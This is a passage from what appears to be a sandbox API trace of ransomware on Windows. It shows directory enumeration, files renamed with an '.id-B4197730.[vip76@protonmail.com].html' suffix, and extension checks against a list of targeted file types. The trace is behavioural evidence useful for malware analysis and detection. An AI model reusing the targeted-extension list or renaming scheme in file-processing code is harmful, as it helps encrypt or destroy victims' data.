	[0167.637] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d207dd5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8d207dd5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8d54f1f0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf35d4, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="OfficeC2RCom.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="OFFICE~3.HTM")) returned 1
	[0167.637] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd0d7e00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e58, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~2.EXE")) returned 1
	[0167.637] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c67e3a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82c67e3a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82c8e079, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13b4, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="OfficeUpdateSchedule.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="OFFICE~1.HTM")) returned 1
	[0167.637] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c8e079, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82c8e079, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82cb41e5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="ServiceWatcherSchedule.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SERVIC~1.HTM")) returned 1
	[0167.637] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x101458, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="StreamServer.dll", cAlternateFileName="STREAM~1.DLL")) returned 1
	[0167.637] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2c6b89, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8d2c6b89, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8d6804b2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xeffbc, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="ucrtbase.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="UCRTBA~1.HTM")) returned 1
	[0167.637] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4b6958, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8d4b6958, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8d78b4a8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5f5b2, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="vccorlib140.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="VCCORL~1.HTM")) returned 1
	[0167.637] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1
	[0167.637] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0
	[0167.638] FindClose (in: hFindFile=0x6ac8d8 | out: hFindFile=0x6ac8d8) returned 1
	[0167.638] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4455ff0 | out: hHeap=0x610000) returned 1
	[0167.638] FindNextFileW (in: hFindFile=0x6ac458, lpFindFileData=0x3b4f584 | out: lpFindFileData=0x3b4f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa71, cFileName="ink", cAlternateFileName="")) returned 1
	[0167.638] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4455ff0
	[0167.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName=".", cAlternateFileName="")) returned 0x6ac2d8
	[0167.639] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="..", cAlternateFileName="")) returned 1
	[0167.640] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc137d, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1
	[0167.640] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="ar-SA", cAlternateFileName="")) returned 1
	[0167.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA") returned 56
	[0167.640] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA") returned 1
	[0167.640] lstrlenW (lpString="ar-SA") returned 5
	[0167.640] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ar-SA") returned 1
	[0167.640] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4467000
	[0167.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA") returned 56
	[0167.641] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName=".", cAlternateFileName="")) returned 0x6ac718
	[0167.780] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="..", cAlternateFileName="")) returned 1
	[0167.780] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0167.780] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0167.780] lstrlenW (lpString=".1cd") returned 4
	[0167.780] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.781] lstrlenW (lpString=".3ds") returned 4
	[0167.781] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0167.781] lstrlenW (lpString=".3fr") returned 4
	[0167.781] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0167.781] lstrlenW (lpString=".3g2") returned 4
	[0167.781] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0167.781] lstrlenW (lpString=".3gp") returned 4
	[0167.781] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0167.781] lstrlenW (lpString=".7z") returned 3
	[0167.781] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.781] lstrlenW (lpString=".accda") returned 6
	[0167.781] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1
	[0167.781] lstrlenW (lpString=".accdb") returned 6
	[0167.781] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1
	[0167.781] lstrlenW (lpString=".accdc") returned 6
	[0167.781] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1
	[0167.781] lstrlenW (lpString=".accde") returned 6
	[0167.781] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1
	[0167.781] lstrlenW (lpString=".accdt") returned 6
	[0167.781] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1
	[0167.781] lstrlenW (lpString=".accdw") returned 6
	[0167.781] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1
	[0167.781] lstrlenW (lpString=".adb") returned 4
	[0167.781] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0167.781] lstrlenW (lpString=".adp") returned 4
	[0167.781] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0167.781] lstrlenW (lpString=".ai") returned 3
	[0167.781] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0167.782] lstrlenW (lpString=".ai3") returned 4
	[0167.782] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0167.782] lstrlenW (lpString=".ai4") returned 4
	[0167.782] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0167.782] lstrlenW (lpString=".ai5") returned 4
	[0167.782] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0167.782] lstrlenW (lpString=".ai6") returned 4
	[0167.782] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0167.782] lstrlenW (lpString=".ai7") returned 4
	[0167.782] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0167.782] lstrlenW (lpString=".ai8") returned 4
	[0167.782] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0167.782] lstrlenW (lpString=".anim") returned 5
	[0167.782] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1
	[0167.782] lstrlenW (lpString=".arw") returned 4
	[0167.782] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0167.782] lstrlenW (lpString=".as") returned 3
	[0167.782] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0167.782] lstrlenW (lpString=".asa") returned 4
	[0167.782] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0167.782] lstrlenW (lpString=".asc") returned 4
	[0167.782] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0167.782] lstrlenW (lpString=".ascx") returned 5
	[0167.782] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1
	[0167.782] lstrlenW (lpString=".asm") returned 4
	[0167.782] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0167.782] lstrlenW (lpString=".asmx") returned 5
	[0167.782] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1
	[0167.782] lstrlenW (lpString=".asp") returned 4
	[0167.782] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0167.782] lstrlenW (lpString=".aspx") returned 5
	[0167.782] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1
	[0167.782] lstrlenW (lpString=".asr") returned 4
	[0167.783] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0167.783] lstrlenW (lpString=".asx") returned 4
	[0167.783] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0167.783] lstrlenW (lpString=".avi") returned 4
	[0167.783] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0167.783] lstrlenW (lpString=".avs") returned 4
	[0167.783] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0167.783] lstrlenW (lpString=".backup") returned 7
	[0167.783] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1
	[0167.783] lstrlenW (lpString=".bak") returned 4
	[0167.783] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0167.783] lstrlenW (lpString=".bay") returned 4
	[0167.783] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0167.783] lstrlenW (lpString=".bd") returned 3
	[0167.783] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0167.783] lstrlenW (lpString=".bin") returned 4
	[0167.783] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0167.783] lstrlenW (lpString=".bmp") returned 4
	[0167.783] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0167.783] lstrlenW (lpString=".bz2") returned 4
	[0167.783] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.783] lstrlenW (lpString=".c") returned 2
	[0167.783] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0167.783] lstrlenW (lpString=".cdr") returned 4
	[0167.783] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0167.783] lstrlenW (lpString=".cer") returned 4
	[0167.783] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0167.783] lstrlenW (lpString=".cf") returned 3
	[0167.783] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0167.783] lstrlenW (lpString=".cfc") returned 4
	[0167.783] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0167.783] lstrlenW (lpString=".cfm") returned 4
	[0167.783] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0167.784] lstrlenW (lpString=".cfml") returned 5
	[0167.784] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1
	[0167.784] lstrlenW (lpString=".cfu") returned 4
	[0167.784] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0167.784] lstrlenW (lpString=".chm") returned 4
	[0167.784] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0167.784] lstrlenW (lpString=".cin") returned 4
	[0167.784] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0167.784] lstrlenW (lpString=".class") returned 6
	[0167.784] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1
	[0167.784] lstrlenW (lpString=".clx") returned 4
	[0167.784] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0167.784] lstrlenW (lpString=".config") returned 7
	[0167.784] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1
	[0167.784] lstrlenW (lpString=".cpp") returned 4
	[0167.784] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0167.784] lstrlenW (lpString=".cr2") returned 4
	[0167.784] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0167.784] lstrlenW (lpString=".crt") returned 4
	[0167.784] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0167.784] lstrlenW (lpString=".crw") returned 4
	[0167.784] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0167.784] lstrlenW (lpString=".cs") returned 3
	[0167.784] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0167.784] lstrlenW (lpString=".css") returned 4
	[0167.784] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0167.784] lstrlenW (lpString=".csv") returned 4
	[0167.784] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0167.784] lstrlenW (lpString=".cub") returned 4
	[0167.784] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0167.784] lstrlenW (lpString=".dae") returned 4
	[0167.784] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0167.784] lstrlenW (lpString=".dat") returned 4
	[0167.785] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0167.785] lstrlenW (lpString=".db") returned 3
	[0167.785] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0167.785] lstrlenW (lpString=".dbf") returned 4
	[0167.785] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.785] lstrlenW (lpString=".dbx") returned 4
	[0167.785] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0167.785] lstrlenW (lpString=".dc3") returned 4
	[0167.785] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0167.785] lstrlenW (lpString=".dcm") returned 4
	[0167.785] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0167.785] lstrlenW (lpString=".dcr") returned 4
	[0167.785] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0167.785] lstrlenW (lpString=".der") returned 4
	[0167.785] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0167.785] lstrlenW (lpString=".dib") returned 4
	[0167.785] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0167.785] lstrlenW (lpString=".dic") returned 4
	[0167.785] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0167.785] lstrlenW (lpString=".dif") returned 4
	[0167.785] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0167.785] lstrlenW (lpString=".divx") returned 5
	[0167.785] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1
	[0167.785] lstrlenW (lpString=".djvu") returned 5
	[0167.785] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1
	[0167.785] lstrlenW (lpString=".dng") returned 4
	[0167.785] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0167.785] lstrlenW (lpString=".doc") returned 4
	[0167.785] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.785] lstrlenW (lpString=".docm") returned 5
	[0167.785] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1
	[0167.785] lstrlenW (lpString=".docx") returned 5
	[0167.785] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0167.785] lstrlenW (lpString=".dot") returned 4
	[0167.786] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0167.786] lstrlenW (lpString=".dotm") returned 5
	[0167.786] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1
	[0167.786] lstrlenW (lpString=".dotx") returned 5
	[0167.786] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1
	[0167.786] lstrlenW (lpString=".dpx") returned 4
	[0167.786] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0167.786] lstrlenW (lpString=".dqy") returned 4
	[0167.786] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0167.786] lstrlenW (lpString=".dsn") returned 4
	[0167.786] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0167.786] lstrlenW (lpString=".dt") returned 3
	[0167.786] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0167.786] lstrlenW (lpString=".dtd") returned 4
	[0167.786] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0167.786] lstrlenW (lpString=".dwg") returned 4
	[0167.786] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0167.786] lstrlenW (lpString=".dwt") returned 4
	[0167.786] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0167.786] lstrlenW (lpString=".dx") returned 3
	[0167.786] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0167.786] lstrlenW (lpString=".dxf") returned 4
	[0167.786] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0167.786] lstrlenW (lpString=".edml") returned 5
	[0167.786] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1
	[0167.786] lstrlenW (lpString=".efd") returned 4
	[0167.786] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0167.786] lstrlenW (lpString=".elf") returned 4
	[0167.786] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0167.786] lstrlenW (lpString=".emf") returned 4
	[0167.786] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0167.786] lstrlenW (lpString=".emz") returned 4
	[0167.787] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0167.787] lstrlenW (lpString=".epf") returned 4
	[0167.787] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0167.787] lstrlenW (lpString=".eps") returned 4
	[0167.787] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0167.787] lstrlenW (lpString=".epsf") returned 5
	[0167.787] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1
	[0167.787] lstrlenW (lpString=".epsp") returned 5
	[0167.787] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1
	[0167.787] lstrlenW (lpString=".erf") returned 4
	[0167.787] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0167.787] lstrlenW (lpString=".exr") returned 4
	[0167.787] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0167.787] lstrlenW (lpString=".f4v") returned 4
	[0167.787] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0167.787] lstrlenW (lpString=".fido") returned 5
	[0167.787] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1
	[0167.787] lstrlenW (lpString=".flm") returned 4
	[0167.787] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0167.787] lstrlenW (lpString=".flv") returned 4
	[0167.787] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0167.787] lstrlenW (lpString=".frm") returned 4
	[0167.787] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0167.787] lstrlenW (lpString=".fxg") returned 4
	[0167.787] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0167.787] lstrlenW (lpString=".geo") returned 4
	[0167.787] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0167.787] lstrlenW (lpString=".gif") returned 4
	[0167.787] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0167.787] lstrlenW (lpString=".grs") returned 4
	[0167.787] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0167.787] lstrlenW (lpString=".gz") returned 3
	[0167.787] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0167.787] lstrlenW (lpString=".h") returned 2
	[0167.788] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0167.788] lstrlenW (lpString=".hdr") returned 4
	[0167.788] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0167.788] lstrlenW (lpString=".hpp") returned 4
	[0167.788] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0167.788] lstrlenW (lpString=".hta") returned 4
	[0167.788] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0167.788] lstrlenW (lpString=".htc") returned 4
	[0167.788] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0167.788] lstrlenW (lpString=".htm") returned 4
	[0167.788] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0167.788] lstrlenW (lpString=".html") returned 5
	[0167.788] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1
	[0167.788] lstrlenW (lpString=".icb") returned 4
	[0167.788] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0167.788] lstrlenW (lpString=".ics") returned 4
	[0167.788] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0167.788] lstrlenW (lpString=".iff") returned 4
	[0167.788] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0167.788] lstrlenW (lpString=".inc") returned 4
	[0167.788] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0167.788] lstrlenW (lpString=".indd") returned 5
	[0167.788] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1
	[0167.788] lstrlenW (lpString=".ini") returned 4
	[0167.788] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0167.788] lstrlenW (lpString=".iqy") returned 4
	[0167.788] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0167.788] lstrlenW (lpString=".j2c") returned 4
	[0167.788] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0167.788] lstrlenW (lpString=".j2k") returned 4
	[0167.788] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
